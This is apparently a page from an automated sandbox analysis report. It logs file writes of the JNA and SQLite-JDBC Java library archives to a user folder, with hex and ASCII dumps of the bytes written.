CopyQuotedStrategy.class
.T.N.A.=.-.vYl..|.V-...-
....DK@L%B..
.M........5.6>..L. ...|&c..-.6
.....;s..{....?.~...;.td.....k.n 
.i.3.....g.|.z.<X.....k..[^
tx.Q...l6..b....]..\.t~.!Zum..
....h......u..s-.lsO*.;....OsU
.u..v.a...D...\

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 2e 63 6c 61 73 73 ca 
fe ba be 00 00 00 32 
00 25 0a 00 04 00 1c 
09 00 09 00 1d 07 00 
1e 07 00 1f 07 00 20 
01 00 0c 49 6e 6e 65 
72 43 6c 61 73 73 65 
73 07 00 21 01 00 10 
44 65 66 61 75 6c 74 
46 69 6c 65 55 74 69 
6c 73 07 00 22 01 00 
06 48 6f 6c 64 65 72 
01 00 06 3c 69 6e 69 
74 3e 01 00 03 28 29 
56 01 00 04 43 6f 64 
65 01 00 0f 4c 69 6e 
65 4e 75 6d 62 65 72 
54 61 62 6c 65 01 00 
12 4c 6f 63 61 6c 56 
61 72 69 61 62 6c 65 
54 61 62 6c 65 01 00 
04 74 68 69 73 01 00 
20 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 46 69 6c 65 55 
74 69 6c 73 3b 01 00 
08 68 61 73 54 72 61 
73 68 01 00 03 28 29 
5a 01 00 0b 6d 6f 76 
65 54 6f 54 72 61 73 
68 01 00 12 28 5b 4c 
6a 61 76 61 2f 69 6f 2f 
46 69 6c 65 3b 29 56 
01 00 0a 45 78 63 65 
70 74 69 6f 6e 73 07 
00 23 

.class.......2.%.................. 

...InnerClasses..!...Defa
ultFileUtils.."...Holder...<in
it>...
()V...Code...LineNumberT
able...LocalVariableTable..
.this.. 
Lcom/sun/jna/platform/Fil
eUtils;...hasTrash...
()Z...moveToTrash...
([Ljava/io/File;)V.
..Exceptions..#

success or wait 3 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 4f b3 23 64 cd b6 f6 
c2 ce ac 9b f8 4e 31 
99 8a 29 db e0 9e a4 
30 0d 1b 26 36 f1 9c 
e6 23 9f bd a3 61 cb 
c4 0b bc 34 f1 bd f2 
1c e9 66 6c 08 29 02 
b6 1f 4c fc 88 9f 18 86 
ce 1e 20 86 f8 e9 73 
64 b8 dc e9 d3 23 cf 
aa 55 44 49 2e 3a 0d 
e1 b9 8e 6a 08 9d 9b 
90 1f ce 20 98 f4 17 
a7 26 a5 e8 7b c2 29 
cf aa 1b 30 20 64 41 
35 27 6c 51 b0 5e 38 
d2 4a c3 72 bc aa 35 
db f2 7f 76 bd 2a 43 af 
90 cf f3 f9 13 b5 15 f7 
a4 cf ab e1 b8 af 79 
6e 8d 7b fe 1e c3 c4 
59 79 bb a1 93 4c 01 
46 32 a4 6f 79 be dc 
14 7e e5 3f 04 90 30 
5d c8 8d b0 95 34 3e 
dd 2d 24 e2 ce f5 5b 
b2 1c ea c9 34 c3 c5 
f4 59 57 20 b3 82 14 
7d 80 46 a0 7e 3d 88 
a8 19 07 f5 9a 56 39 
b2 8c 6c ef e4 01 d8 
ef f4 12 c1 28 fd f7 29 
50 1f c5 27 f4 6e 86 
0e 18 c3 55 b2 31 5c 
c3 38 79 85 c1 91 76 
70 0b 91 d7 a7 82 

O.#d........N1..)....0..&6...#
...a....4.....fl.)...L....... 
...sd....#..UDI.:....j...... ....&..
{.)...0 dA5'lQ.^8.J.r..5
...v.*C...............yn.{....
Yy...L.F2.oy...~.?..0]....4>.-
$...[....4...YW ...}.F.~=.....
.V9..l........(..)P..'.n....U.
1\.8y...vp.....

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 347 53 2a bd 33 b6 bb 86 
07 59 9b 56 af 33 d9 
4a 8e 88 30 57 c5 4d 
54 8d 13 99 93 e2 fb 
5c a4 a9 b9 28 69 6d 
22 55 4e 88 7e d6 bd 
73 ba dc 5a 59 55 ba 
22 4c 7b 92 b0 d2 5d 
c5 31 c9 b4 aa 09 b3 
7f 24 23 10 06 e8 45 
1e 61 08 af 4b 03 8c 
3e 93 21 e8 3c 40 df 
e1 f0 99 ff 06 50 4b 03 
04 0a 00 00 08 08 00 
8c 8c 5e 4f 5c 39 05 
a9 40 58 00 00 5a c1 
00 00 18 00 00 00 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 4e 61 74 69 
76 65 2e 63 6c 61 73 
73 cc bd 09 7c 15 d5 
f5 00 7c ee dc 99 7b 
27 2f 93 85 97 04 f2 
20 40 d8 43 16 76 41 
c3 22 d9 80 40 12 22 
09 bb 8a 8f e4 01 81 
24 2f 66 61 d1 ba 55 
c5 dd 5a 97 2a 68 5d 
70 c1 25 2a a2 86 20 
8a 5b 5d aa b6 2e 6d 
6d 6d ad ad dd 6b ab 
d6 da 45 01 e5 3b e7 
ce bc 79 f3 5e 5e 00 
fb ff 7e df ef 43 df cc 
dc 3b 77 39 f7 dc b3 
de 7b ee e4 b5 af 9f 

S*.3....Y.V.3.J..0W.MT......\
...
(im"UN.~..s..ZYU."L{...].1..
....$#...E.a..K..>.!.<@......P
K..........^O\9..@X..Z.......c
om/sun/jna/Native.class...|.
...|...{'/..... @.C.vA."..@."...
....$/fa..U..Z.*h]p.%*.. .[]..
.mmm...k...E..;...y.^^...~..C.
..;w9....{.....

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 00 1e 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 46 69 6c 65 55 
74 69 6c 73 01 00 10 
6a 61 76 61 2f 6c 61 
6e 67 2f 4f 62 6a 65 
63 74 01 00 20 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 46 69 
6c 65 55 74 69 6c 73 
24 31 01 00 2f 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 46 69 
6c 65 55 74 69 6c 73 
24 44 65 66 61 75 6c 
74 46 69 6c 65 55 74 
69 6c 73 01 00 25 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 46 69 
6c 65 55 74 69 6c 73 
24 48 6f 6c 64 65 72 
01 00 13 6a 61 76 61 
2f 69 6f 2f 49 4f 45 78 
63 65 70 74 69 6f 6e 
01 00 08 49 4e 53 54 
41 4e 43 45 04 21 00 
03 00 04 00 00 00 00 
00 04 00 01 00 0b 00 
0c 00 01 00 0d 00 00 
00 2f 00 01 00 01 00 
00 00 05 2a b7 00 01 
b1 00 00 00 02 00 0e 
00 

..com/sun/jna/platform/File
Utils...java/lang/Object.. 
com/su
n/jna/platform/FileUtils$1../
c
om/sun/jna/platform/FileUti
ls$
DefaultFileUtils..%com/sun
/jna
/platform/FileUtils$Holder..
.j
ava/io/IOException...INST
ANCE.!......................./.....
...*...........

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 65 64 01 00 05 28 49 
49 29 5a 01 00 07 6b 
65 79 63 6f 64 65 01 
00 01 49 01 00 08 6c 
6f 63 61 74 69 6f 6e 
07 00 1f 01 00 29 28 
4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 4b 65 79 62 6f 61 
72 64 55 74 69 6c 73 
24 31 3b 29 56 01 00 
02 78 30 01 00 26 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 4b 
65 79 62 6f 61 72 64 
55 74 69 6c 73 24 31 
3b 01 00 0a 53 6f 75 
72 63 65 46 69 6c 65 
01 00 12 4b 65 79 62 
6f 61 72 64 55 74 69 
6c 73 2e 6a 61 76 61 
0c 00 05 00 06 0c 00 
05 00 14 07 00 20 01 
00 33 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 4b 65 79 62 6f 
61 72 64 55 74 69 6c 
73 24 4d 61 63 4b 65 
79 62 6f 61 72 64 55 
74 69 6c 73 01 00 36 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 4b 
65 

ed...(II)Z...keycode...I...loc
ation.....)
(Lcom/sun/jna/platf
orm/KeyboardUtils$1;)V...x
0..&
Lcom/sun/jna/platform/Key
board
Utils$1;...SourceFile...Key
boardUtils.java............ 
..3co
m/sun/jna/platform/Keyboa
rdUti
ls$MacKeyboardUtils..6co
m/sun/jna/platform/Ke

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 43 f3 72 e0 dc 2e 02 
7f 55 d8 b5 c9 fd e1 
59 74 f1 2d 84 78 01 
3d bc 88 30 ff 5a 31 
34 4b e8 f8 04 63 34 
4a 0e b5 f0 77 71 ce 
89 c5 a7 18 2f b3 98 
51 f9 80 de 3d 04 97 
03 2d bb 68 fd 05 0d 
ca 6e 53 76 a3 b2 db 
95 dd f4 46 51 ac ee 
75 0a 26 4f e3 3c 17 
54 ee 84 da b2 49 5c 
54 e2 e1 24 af 45 74 
f9 e5 df 8a 45 2a cd 
c0 63 95 46 ff 17 50 
4b 03 04 0a 00 00 00 
08 00 38 66 3e 49 4c 
34 76 c9 2a 03 00 00 
94 06 00 00 33 00 00 
00 6f 72 67 2f 73 71 
6c 69 74 65 2f 64 61 
74 65 2f 46 61 73 74 
44 61 74 65 50 61 72 
73 65 72 24 4e 75 6d 
62 65 72 53 74 72 61 
74 65 67 79 2e 63 6c 
61 73 73 95 55 59 4f 
13 51 14 fe ee 6d e9 
94 61 58 5a 45 c4 02 
a2 22 76 01 8b fb 02 
a2 02 82 d5 8a 0b 06 
12 a3 0f 17 66 2c a3 
63 5b a7 53 03 1a 7f 
88 7f 40 7d 30 31 26 
5a d1 18 1e 35 f1 c5 
7f 64 3c 

C.r.....U.....Yt.-.x.=..0.Z14K
...c4J...wq...../..Q...=...-.h
....nSv......FQ..u.&O.<.T....I
\T..$.Et....E*..c.F..PK.......
.8f>IL4v.*.......3...org/sqlit
e/date/FastDateParser$Nu
mberSt
rategy.class.UYO.Q...m..a
XZE..."v...............f,.c[.S.....
@}01&Z...5...d<

success or wait 2 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 0b 04 00 00 2d 00 00 
00 6f 72 67 2f 73 71 
6c 69 74 65 2f 64 61 
74 65 2f 46 61 73 74 
44 61 74 65 50 61 72 
73 65 72 24 53 74 72 
61 74 65 67 79 2e 63 
6c 61 73 73 8d 52 4d 
6f d3 40 10 7d e3 38 
71 70 03 2d 14 ca 77 
09 25 85 a6 aa 70 e1 
86 52 71 20 a8 52 a4 
08 10 ad 7a e8 6d 13 
af cc 56 8b 03 fe a8 
ca 7f ea 01 4e 88 1e 
b8 22 f1 a3 10 b3 6b 
37 94 16 e1 5a b2 77 
3c f3 de 9b 37 bb fb f3 
d7 d1 77 00 4f f1 d0 
47 0d 6d 1f 2e da 1e 
96 3c 3c 20 34 36 54 
ac b2 e7 84 da 4a 77 
87 e0 f6 27 a1 24 cc 
0e 55 2c 5f e5 ef 47 
32 d9 16 23 cd 99 2b 
c3 c9 58 e8 1d 91 28 
f3 5f 26 dd ec 9d 4a 
09 cd ad 2c 11 99 8c 
3e 11 5a 83 38 96 49 
5f 8b 34 95 5c e9 0e 
27 49 14 a4 1f b5 ca 
64 10 32 26 d8 14 69 
f6 92 83 37 22 49 65 
d2 39 66 f6 58 45 a5 
45 47 eb 65 97 30 93 
ca ac 2f b4 8c 43 c1 
b9 c1 

....-

...org/sqlite/date/FastDa
teParser$Strategy.class.R
Mo.@.}.8qp.-..w.%...p..Rq 
.R....z.m
...V........N..."....k7...Z.w<
...7.....w.O..G.m.....<< 
46T..
...Jw...'.$..U,_..G2..#..+..X.
..(._&...J...,...>.Z.8.I_.4.\.
.'I.....d.2&..i...7"Ie.9f.XE.E
G.e.0.../..C...

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 01 00 22 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 4b 65 79 62 
6f 61 72 64 55 74 69 
6c 73 00 20 00 03 00 
04 00 00 00 00 00 03 
00 02 00 05 00 06 00 
01 00 07 00 00 00 30 
00 02 00 01 00 00 00 
06 2a 01 b7 00 02 b1 
00 00 00 02 00 08 00 
00 00 06 00 01 00 00 
00 76 00 09 00 00 00 
0c 00 01 00 00 00 06 
00 0a 00 0d 00 00 00 
01 00 0e 00 0f 00 01 
00 07 00 00 00 40 00 
01 00 03 00 00 00 02 
03 ac 00 00 00 02 00 
08 00 00 00 06 00 01 
00 00 00 78 00 09 00 
00 00 20 00 03 00 00 
00 02 00 0a 00 0d 00 
00 00 00 00 02 00 10 
00 11 00 01 00 00 00 
02 00 12 00 11 00 02 
10 00 00 05 00 14 00 
01 00 07 00 00 00 39 
00 01 00 02 00 00 00 
05 2a b7 00 01 b1 00 
00 00 02 00 08 00 00 
00 06 00 01 00 00 00 
76 00 09 00 00 00 16 
00 02 00 00 00 05 00 
0a 00 0d 00 00 00 00 
00 05 00 

.."com/sun/jna/platform/Ke
yboardUtils. .....................
..0........*..................
..v...........................
....@.........................x..... 
.......................
......................9.......
.*...................v........
...............

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 ab 55 c2 e1 cd 20 16 
2f 82 39 35 17 25 24 
d0 05 66 58 9f 66 7f 
cd 70 dd 6a 3c ae e5 
72 9d bd 87 0f 33 9c 
d9 1c d4 9a 8b 9b a3 
9d b9 6b 3c d4 6a 93 
02 1c 94 36 7a 28 b8 
44 9b a7 f7 cb 00 39 
62 f7 47 c2 22 95 4e 
33 5d d4 aa f6 ad 0c 
43 47 bc a4 22 f9 23 
5d 61 b2 95 14 d1 ef 
af 55 f9 5a a1 d5 c4 
e5 e4 86 53 bf 7e f5 
88 8b 68 1d ac 3b fd 
b5 90 29 94 7d 5b 35 
06 f8 e8 71 b7 9f 1e 
32 32 3c a2 45 d2 cc 
23 6e 08 7a 19 1d 14 
ef 1f f4 a0 15 01 1c 22 
3a 68 d1 87 89 ee ad 
a0 43 44 df 53 41 df 
4b f4 7d 15 f4 11 a2 ef 
af a0 8f 42 3c 9b 8e 
a1 8f 56 fa 69 21 02 
89 3c 00 3b d5 cd 56 
c0 ba 6f c0 36 fd 36 f8 
0a a4 6b b0 1f bc 0e 
47 01 f2 48 4f 34 70 f3 
88 c4 8f d8 5b ec 2d 
d2 eb 78 2b d0 62 0f 
f5 39 bc 0e 1e f2 b8 
0a 70 5f 81 63 19 2f 
09 f2 3a ea fa e4 ee 
77 60 f7 3a a4 d0 

.U... ./.95.%$..fX.f..p.j<..r.

...3..........k<.j....6z(.D...

..9b.G.".N3].....CG..".#]a....

..U.Z......S.~...h..;...).}[5.

..q...22<.E..#n.z..........":h

......CD.SA.K.}........B<....V

.i!..<.;..V..o.6.6...k....G..H
O4p.....[.-..x+.b..9......p_.c
./..:....w`.:..

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 274 of 706



C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 d5 3c 5c 63 85 ed 58 
2b e1 22 2b 64 a8 5b 
16 73 e3 62 34 67 49 
b8 c4 0a e3 f1 0c 09 
eb ac 90 ad 4e d7 5b 
b1 01 1b ad b8 14 97 
49 d8 64 c1 66 5e d1 
c2 ef cb ad b8 02 57 
f2 eb 2a 0b b6 32 5c 
6d 85 3c 6c e3 b9 35 
bc f5 6c 46 7a 0e bf 
ae e5 66 1d 37 6e 9e 
58 6f 85 52 f4 a4 a1 
17 15 0b b6 5b b0 83 
37 77 f2 bb 4f c2 0d 
0c 37 4a 70 2f af ec 
62 ea dd dc f3 4b 18 
60 82 b5 7c d6 5a ee 
f5 70 af 87 cf d3 63 c1 
73 2d 18 64 2c 21 2b 
86 b1 d7 82 9b ac b8 
19 b7 30 03 5b 25 dc 
66 85 6a dc ce 2f 11 
09 cf b3 e0 b7 2d 78 
be 05 2f b0 e0 85 8c 
fe 22 2b 2c c2 1d bc 
64 27 a3 bd 98 65 75 
09 f3 ba 8b d9 dc cd 
13 97 f2 d8 65 16 bc 
9c 17 5c 61 c1 2b 2d 
78 15 0f 5d cd 2b ae 
91 f0 5a 1e bf ce 0a 
6d d8 c6 bc 7e 87 49 
5d cf bd 1b b8 d9 c3 
cd 77 b9 b9 91 9b bd 
dc dc c4 cd f7 b8 f9 
3e 37 

.<\c..X+."+d.[.s.b4gI.........

..N.[.......I.d.f^.......W..*.

.2\m.<l..5..lFz....f.7n.Xo.R..

.....[..7w..O...7Jp/..b....K.`

..|.Z..p....c.s-.d,!+.........0.
[%.f.j../......-x../....."+,
...d'...eu...........e....\a.+-
x..].+...Z....m...~.I].......
w............>7

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 e1 21 2b 5c ca f0 21 
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6d e9 2f c7 f1 be 56 
ae bd 22 5c 4a 17 fe 
72 78 da 6c 2b 5a 67 
98 3c 6e 27 11 38 c9 
0e 86 e2 51 38 0c e5 
63 79 23 49 33 fb c2 
ed 93 58 23 1b 5a 38 
cf 1e 8a bd 44 3c 63 
a3 d7 f7 1d d9 50 a1 
53 fc 4b 8c 85 10 d1 
84 89 ba 09 03 c3 39 
5c 37 a9 c9 8b 26 26 
71 3e 87 9b 26 96 c2 
f9 96 89 db b8 c3 b0 
f8 1f d2 32 8c 1d 56 fd 
b8 b5 2b 1d cd 50 3d 
09 28 06 78 d2 8f 0e 
f0 a7 43 dd a0 b3 16 

[2.6.'...-.o..K.B...wK.*..`Z..
.a|.EoUu..w$....I...A )i...;v.
.UZ.mA....*......g.@Yf.l.p....
RzSz....+st.!..'..f...4w...].u
..M.....m./...V.."\J..rx.l+Zg.
<n'.8....Q8..cy#I3....X#.Z8..
..D<c.....P.S.K..........9\7...
&&q>..&............2..V...+..P
=.(.x.....C....
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 41 1b 0c 16 00 00 e5 
31 00 00 25 00 00 00 
6f 72 67 2f 73 71 6c 
69 74 65 2f 64 61 74 
65 2f 46 61 73 74 44 
61 74 65 50 72 69 6e 
74 65 72 2e 63 6c 61 
73 73 bd 59 7b 7c 5c 
75 b1 9f 39 e7 ec 9e 
cd e6 6c ba 49 b3 b4 
69 d2 27 69 9b 6c 92 
a6 2d d0 96 f4 41 d3 
b4 69 53 d2 a4 f4 49 
5a a1 dd 24 db 64 e9 
66 37 ec 6e fa b2 b7 
28 d6 07 f8 04 b4 58 
50 2c 05 89 08 62 29 
34 a1 44 2b 28 5a 15 
15 44 c4 8a 88 a8 20 
5e b9 7a 41 45 05 0b 
b9 df 39 7b f6 64 93 
6c 9b e0 1f b7 9f ee ef 
37 bf d7 cc fc 66 e6 
37 8f 93 1f be fb e8 29 
22 9a cb 67 74 2e 76 
53 13 4f 77 53 27 cf 
c8 02 34 53 9a 12 69 
4a 65 c1 2f 4d 59 36 
97 73 85 ce b3 a4 af 
d4 e9 88 2c cf ce 26 
37 cf 11 68 ae ce 17 
b9 c9 cb 17 eb 7c 89 
9b f2 78 86 0c e6 49 
33 5f 9a 05 d2 5c 2a 
4d 95 34 0b dd b4 93 
17 09 da c5 02 2d d1 
f9 

A......1..%...org/sqlite/date/
FastDatePrinter.class.Y{|\u
..9.....l.I..i.'i.l..-...A..iS...
IZ..$.d.f7.n...(.....XP,...b)4
.D+(Z..D.... ^.zAE....9{.d.l..
.....7....f.7......)"..gt.vS.O
wS'...4S..iJe./MY6.s........,.
.&7..h........|...x...I3_...\*
M.4.........-..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 9d 55 cc 00 9b 1a 0e 
02 d3 05 83 79 da db 
99 e2 6b c1 90 13 23 
cb d9 34 0a 91 23 1e 
53 a0 65 27 74 63 a2 
d2 f9 b3 70 2a 9d 81 
58 3c 38 60 c2 25 a5 
c3 19 d2 62 e6 83 9a 
31 5a eb 53 e3 5d cd 
78 25 89 e8 ce a0 29 
12 e9 eb 05 e4 16 fc 
6a 20 af f8 de 8e e6 
68 18 d2 9d 98 a4 96 
c0 83 af 14 4c b5 d1 
18 8c 75 7d 72 19 a8 
1c b1 a4 e9 6b 2b d6 
55 a3 1b bb 35 d3 13 
73 76 88 4b c1 72 76 
bc 3d 1a 4b 7a 2e 8c 
5c bb 83 c1 9d ad 81 
bd 00 3d e6 c2 66 7b 
9c 5d dd b1 b6 23 79 
3e 2e 9a 32 5f 0a 4e 
84 22 ad c1 3d eb 82 
3b 98 94 ad 08 6b bb 
10 4a 75 3a ad d3 53 
70 e1 08 b8 4c 55 c3 
e4 f3 1e c4 ef 36 65 
bd 21 29 96 92 0c a6 
bc b5 ae 34 d3 fd b4 
4e 30 0e b3 09 45 6c 
37 c8 5b 20 e6 e6 2e 
30 5a 30 ec c4 b2 ae 
50 b8 15 76 89 20 6b 
7a c1 70 b0 25 91 ee 
1f 67 97 d4 81 ce 48 
5c 0f 9c 

.U.........y....k...#..4..#.S.
e'tc....p*..X<8`.%....b...1Z.
S.].x%....).......j .....h.....
.....L....u}r......k+.U...5..s
v.K.rv.=.Kz..\........=..f{.].
..#y>..2_.N."..=..;....k..Ju:.
.Sp...LU......6e.!).......4...
N0...El7.[ ...0Z0....P..v. kz.
p.%...g....H\..
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 7d 99 0a 49 43 5d d6 
8d 99 af 60 26 81 39 
0d fd 78 7f 2f a9 fe b2 
13 a4 f9 cb 4f 90 c3 5f 
71 82 9c 98 d2 1f 34 
4f dd 6b e2 71 a2 3d 
84 dd b7 52 16 e8 e7 
80 fe 58 d0 1e 07 ea 
5f c5 8a 3f 89 87 ee 
a3 fb cd bf 25 8c a7 af 
81 3f 36 a1 07 b0 47 
31 a1 af 83 47 15 30 
aa 40 8b 83 ef 61 2c 
27 ab fd 3d e4 aa f7 
97 95 9d a4 2c a6 6f 
92 fb 24 65 2b f4 18 
19 27 c8 a3 2e f6 3f 
4c 9e 53 4b 0e aa fd 
13 6f a7 fc 22 19 4d 
9c 7b 92 72 98 b6 2f 
ee ee 7f cd 5f 74 82 
c6 08 ab 9a c9 ea 24 
d2 d1 1e 25 07 2e 5e 
88 2b 4f c4 85 fd b8 f2 
42 30 ba 14 0c a6 d8 
bd 10 0c 1d 87 90 e4 
6f 18 d5 16 e3 0e 5a 
44 0f d1 c3 60 6e 22 
15 d3 09 ac 2a d4 83 
79 03 33 c9 b5 5e 40 
8f 60 c6 43 ca bb 74 
a1 4e 27 99 df 86 14 
34 29 6a b1 19 77 72 
dd 8d ad b9 44 ea 4b 
7d e4 6d 02 b3 ce 5e 
ca ad ef a3 bc a6 

}..IC]....`&.9..x./.......O.._
q.....4O.k.q.=...R.....X...._.
.?.......%....?
6...G1...G.0.@.
..a,'..=.......,.o..$e+...'....?
L.SK....o..".M.{.r../...._t.
......$...%..^.+O.....B0......
......o.....ZD...`n"....*..y.3
..^@.`.C..t.N'....4)j..wr....D
.K}.m...^......

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 d3 5b 7d 27 b9 d1 6d 
b9 9b 72 d1 05 ee a4 
05 e8 f6 dd 45 73 2a 
7c ce 1e 5a b4 d9 a7 
69 db 7d 8e a3 d4 5d 
26 90 9c d2 7d ba 0f 
41 ee 90 b5 e1 a0 c6 
dd fd 2f 54 78 67 ca 
40 c5 aa 26 db f7 a4 
91 98 79 84 2e 49 a1 
99 98 42 23 b3 5e 9c 
b5 b0 74 d3 52 9f 7e 
1b e9 5a 37 69 40 d2 
4d 73 64 38 3d 13 83 
de 24 83 59 07 b5 fe 
6e f2 a6 73 f1 d1 72 
d5 a7 35 56 c0 c5 8b 
3b 57 cd 0c 32 46 45 
30 cf c5 e4 e2 cb c8 
c3 4b 69 2c 2f a3 42 
ae a1 f9 5c 4b 4b 78 
15 ad e4 3a ba 02 4e 
ff 4a be 9c b6 71 3d 
35 f3 5a 0a f2 7a 0a f3 
46 8a f2 66 da c5 57 
d2 01 de 42 1f e6 ad 
74 3b 5f 45 77 f0 d5 f4 
15 a4 3e bd dc 4c 67 
b8 95 7e c5 41 7a 91 
db e8 15 ec 7d 8d c3 
f4 3a 77 98 59 e9 fb f0 
68 ae 40 ea f8 4b 3c 
56 9d a2 b4 9f 9e a7 
5f 99 d9 ec 9b 76 62 
fd a6 9d 58 bf 69 3e 
2e 05 0a fb 33 bd 40 

.[}'..m..r........Es*|..Z...i.
}...]&...}..A......../Txg.@..&
.....y..I...B#.^...t.R.~..Z7i@
.Msd8=...$.Y...n..s..r..5V...;
W..2FE0.......Ki,/.B...\KKx...
:..N.J...q=5.Z..z..F..f..W...B
...t;_Ew.....>..Lg..~.Az.....}
...:w.Y...h.@..K<V......_....v
b...X.i>....3.@
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 66 6c 39 4c 17 ca 95 
30 72 f4 d0 d6 c3 e4 
13 1e 31 42 20 7e df 
61 2b 84 df 6f ab c9 fc 
da 84 da 5f 57 26 50 
96 52 84 1c 7b 22 15 
2b 93 68 ae 32 39 cd 
60 96 d8 4a 5a 62 39 
d6 1c 9a 8d ec e6 7e 
4b 49 d9 a4 66 9d a5 
b9 70 97 4b 71 37 f9 
5b 61 da 9b 95 ab 4c 
4a 7e 69 b9 ca eb f1 
9b 7c 5d 6d 02 60 69 
5b fb f6 f6 ed 43 85 50 
9a 26 84 49 b6 10 b2 
6c c5 07 4c cf 40 34 
3f 15 4d 90 b2 2c 48 
52 58 90 17 48 c2 c0 
dd 9c 82 41 b0 45 96 
5a 93 11 66 88 c2 94 
8b d2 c8 cd b7 c8 29 
ec e6 ec e4 57 26 bc 
2c 36 1d 49 16 9e 70 
70 f0 c7 3a f3 01 2b 
d5 a4 a1 38 74 29 35 
69 5e 27 cb 16 59 16 
1b ec 01 ff 39 26 41 
85 c7 b0 17 8f 3d 97 
f3 ac db 6c 36 3d 3d 
82 bb bf d0 eb 0e 7b 
67 6f bf b9 87 76 6c 
96 41 67 6a 30 94 60 
3d 79 94 35 34 41 69 
48 23 58 c8 63 f1 68 
c8 84 f2 cd 78 ee 62 
1f 

fl9L...0r.......1B ~.a+..o....
.._W&P.R..
{".+.h.29.`..JZb9...
...~KI..f...p.Kq7.[a....LJ~i..
...|]m.`i[....C.P.&.I...l..L.@
4?.M..,HRX..H.....A.E.Z..f...
......)....W&.,6.I..pp..:..+...
8t)5i^'..Y.....9&A.....=....l6
==......
{go...vl.Agj0.`=y.54Ai
H#X.c.h....x.b.

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 64 72 15 c8 2f 84 2c 
c6 21 a7 92 77 bf 92 
c7 9b 9f 53 05 2a 40 
ee c5 26 34 c1 4c 3f 
00 59 1f 30 3d 54 c5 
85 5c 04 9f 51 44 65 
b8 16 2c de 32 38 7e 
87 96 eb 3c 11 a1 d8 
eb e2 49 b6 30 ab 70 
5c 10 38 fd 85 8f 90 
32 20 37 53 d3 b4 36 
4d 5e 4e 9e 6c c9 cb 
c9 53 2c 79 4d b5 bf 
96 4e 37 ed 1e ee a7 
8f 22 4d 5e bd 97 a2 
0f 51 e8 41 d3 87 d8 
e8 b4 19 d0 e6 34 d3 
58 2e a4 04 fa 1b e1 
a2 db a8 89 e2 28 c4 
ba d0 ef 42 bf 1b fd 1e 
f4 a5 e8 f7 a2 9f 81 7e 
1f fa 62 f4 ef 47 bf 1f 
fd 7f a1 3f 80 fe 3a f4 
97 a1 ff 00 fa 6a f4 1f 
44 7f 3d fa 0f a1 5f 8c 
fe 20 fa 89 e8 3f 8c 7e 
2e fa 8f a0 9f 8d fe a3 
e8 3f 86 fe 06 a7 1b 
50 13 dd e8 74 ff 1f 
50 4b 03 04 0a 00 00 
00 08 00 38 66 3e 49 
5d 6e 58 99 56 02 00 
00 dc 03 00 00 2e 00 
00 00 6f 72 67 2f 73 
71 6c 69 74 65 2f 64 
61 74 

dr../.,.!..w.....S.*@..&4.L?.Y
.0=T..\..QDe..,.28~...<.....I.
0.p\.8....2 
7S..6M^N.l...S,yM.
..N7....."M^....Q.A........4.X
...........(....B...........~.
.b..G.....?..:......j..D.=..._.. 
...?.~.........?.....P...t.
.PK........8f>I]nX.V..........
.org/sqlite/dat
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 c0 00 c3 9f c2 50 e0 
f9 be 5d eb b2 9a 98 
b4 1e eb db ef 78 bf f7 
78 de 6b f7 0f ff f9 c5 
af 00 dc 85 2b 41 84 
b0 a0 c1 0e a2 05 f9 
36 c4 50 d0 f0 58 10 
45 94 82 70 50 0e 72 
67 51 c3 bb 02 38 17 
44 1b 96 34 3c ae e1 
89 20 74 3c b9 05 ef 
c6 53 1a 9e 16 24 ef 
11 8b 67 c4 ec bd 62 
78 36 88 f7 e1 fd 62 f6 
01 c1 f2 83 1a 3e 24 
76 ce 07 e1 c3 87 c5 
f0 11 31 7c 54 c3 c7 
82 e8 c4 c7 35 3c a7 
e1 13 1a 3e 19 c4 7e 
2c 04 f0 29 f1 fc b4 18 
